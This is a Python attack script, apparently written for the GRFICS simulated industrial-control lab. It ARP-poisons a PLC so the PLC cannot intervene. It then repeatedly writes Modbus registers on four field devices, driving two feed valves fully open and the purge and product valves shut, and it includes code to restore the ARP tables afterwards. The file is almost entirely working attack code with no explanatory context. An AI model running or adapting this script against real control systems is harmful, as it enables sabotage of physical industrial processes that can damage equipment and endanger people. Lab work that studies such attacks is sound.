#!/usr/bin/env python """ File: GRFICS_bang.py Desc: Set the registers to values wanted and ARP poison the PLC so it can't correct. """ __author__ = '0xRoM' from scapy.all import Ether, ARP, srp, send from pyModbusTCP.client import ModbusClient from multiprocessing import Process import time import sys import os def _enable_linux_iproute(): """ Enables IP route ( IP Forward ) in linux-based distro """ os.system('echo 1 > /proc/sys/net/ipv4/ip_forward') def get_mac(ip): """ Returns MAC address of any device connected to the network If ip is down, returns None instead """ ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0) if ans: return ans[0][1].src def spoof(target_ip, host_ip, verbose=True): """ Spoofs `target_ip` saying that we are `host_ip`. it is accomplished by changing the ARP cache of the target (poisoning) """ # get the mac address of the target target_mac = get_mac(target_ip) # craft the arp 'is-at' operation packet, in other words; an ARP response # we don't specify 'hwsrc' (source MAC address) # because by default, 'hwsrc' is the real MAC address of the sender (ours) arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at') # send the packet # verbose = 0 means that we send the packet without printing any thing send(arp_response, verbose=0) if verbose: # get the MAC address of the default interface we are using self_mac = ARP().hwsrc print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac)) def restore(target_ip, host_ip, verbose=True): """ Restores the normal process of a regular network This is done by sending the original informations (real IP and MAC of `host_ip` ) to `target_ip` """ # get the real MAC address of target target_mac = get_mac(target_ip) # get the real MAC address of spoofed (gateway, i.e router) host_mac = get_mac(host_ip) # crafting the restoring packet arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac) # sending the restoring packet # to restore the network to its normal process # we send each reply seven times for a good measure (count=7) send(arp_response, verbose=0, count=7) if verbose: print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac)) def spoof_wrapper(): while True: spoof(arp_target, arp_host, verbose) arp_target = "192.168.95.2" arp_host = "192.168.95.1" verbose = False _enable_linux_iproute() try: p = Process(target=spoof_wrapper) p.start() #p.join() # wait for it to finish! *yuk* while True: # set A client=ModbusClient(host="192.168.95.10",port=502,auto_open=True,auto_close=True,timeout=10) client.write_single_register(1,65535) client.close() # set B client=ModbusClient(host="192.168.95.11",port=502,auto_open=True,auto_close=True,timeout=10) client.write_single_register(1,65535) client.close() # set purge client=ModbusClient(host="192.168.95.12",port=502,auto_open=True,auto_close=True,timeout=10) client.write_single_register(1,0) client.close() # set product client=ModbusClient(host="192.168.95.13",port=502,auto_open=True,auto_close=True,timeout=10) client.write_single_register(1,0) client.close() #time.sleep(0.2) except KeyboardInterrupt: print("[!] Detected CTRL+C ! restoring the network, please wait...") restore(arp_target, arp_host)